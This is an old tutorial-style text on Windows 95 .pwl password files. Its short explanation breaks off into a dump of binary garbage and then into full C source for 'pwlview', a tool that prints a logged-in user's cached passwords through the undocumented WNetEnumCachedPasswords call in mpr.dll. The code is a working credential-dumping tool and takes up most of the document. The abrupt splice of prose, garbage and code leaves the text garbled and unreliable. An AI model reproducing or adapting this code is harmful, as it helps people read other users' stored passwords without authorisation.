Windows Password Files Torn Apart

All, Windows, users would probably be familiar with the infamous ‘pwl’ files or the files where the Windows login passwords are stored. Well, this manual is aimed at, simplifying how the authentication works when you type in your User name And password, what exactly .pwl files contain, where exactly they come into the picture and a whole lot of related things.

The *.pwl files are basically files in which the Windows Login Passwords are stored in. These files can be found in the \Windows directory by the name of the User, whose password it contains. For Example, if your Windows login Username is ankit, then the corresponding password would be stored in c:\windows\ankit.pwl Get it? These .pwl files are readable in any text editor like Notepad, but they are definitely not understandable. A typical example, of the contents of a .pwl file is as follows:

ã‚...-
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿR

p u.ÐX+|rÐq"±/2³ Êå¡hCJ‚D × `ÍY¥!íx}(qW¤ãƱ
#include

typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry; // size of this entry, in bytes
WORD cbResource; // size of resource name, in bytes
WORD cbPassword; // size of password, in bytes
BYTE iEntry; // entry index
BYTE nType; // type of entry
BYTE abResource[1]; // start of resource name
// password immediately follows resource name
} PASSWORD_CACHE_ENTRY;

char *buf, *ob1;
int cnt = 0;

BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
{
cnt++;
memmove(buf, x->abResource, x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf, ob1); // for non-English users
printf("%-30s : ", ob1);

memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf, ob1);
printf("%s\n", ob1);

return TRUE;
}

void main()
{
buf = new char[1024];
ob1 = new char[1024];
puts("There is no security in this crazy world!\n"
"Win95 PWL viewer v1.01 (c) 1997, 98 Vitas Ramanchauskas\n"
"************\n"
"!DISCLAIMER!\n"
"!This program intended to be used for legal purpose only!\n"
"************\n\n"
"This program shows cached passwords using standard (but undocumented)\n"
"Windows API on local machine for current user (user must be logged in).\n"
"You may invoke pwlview in this way: pwlview >> textfile.txt\n"
"to save passwords in file (don't forget to press enter twice)\n"
"Press Enter to begin...\n");
getchar();

HINSTANCE hi = LoadLibrary("mpr.dll");
if(!hi)
{
puts("Couldn't load mpr.dll. This program is for Windows 95 only");
return;
}
WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords");
if(!enp)
{
puts("Couldn't import function. This program is for Windows 95 only");
return;
}
(*enp)(0,0, 0xff, pce, 0);
if(!cnt)
puts("No passwords found.\n"
"Probably password caching was not used or user is not logged in.");
FreeLibrary(hi);
puts("\nPress Enter to quit");
getchar();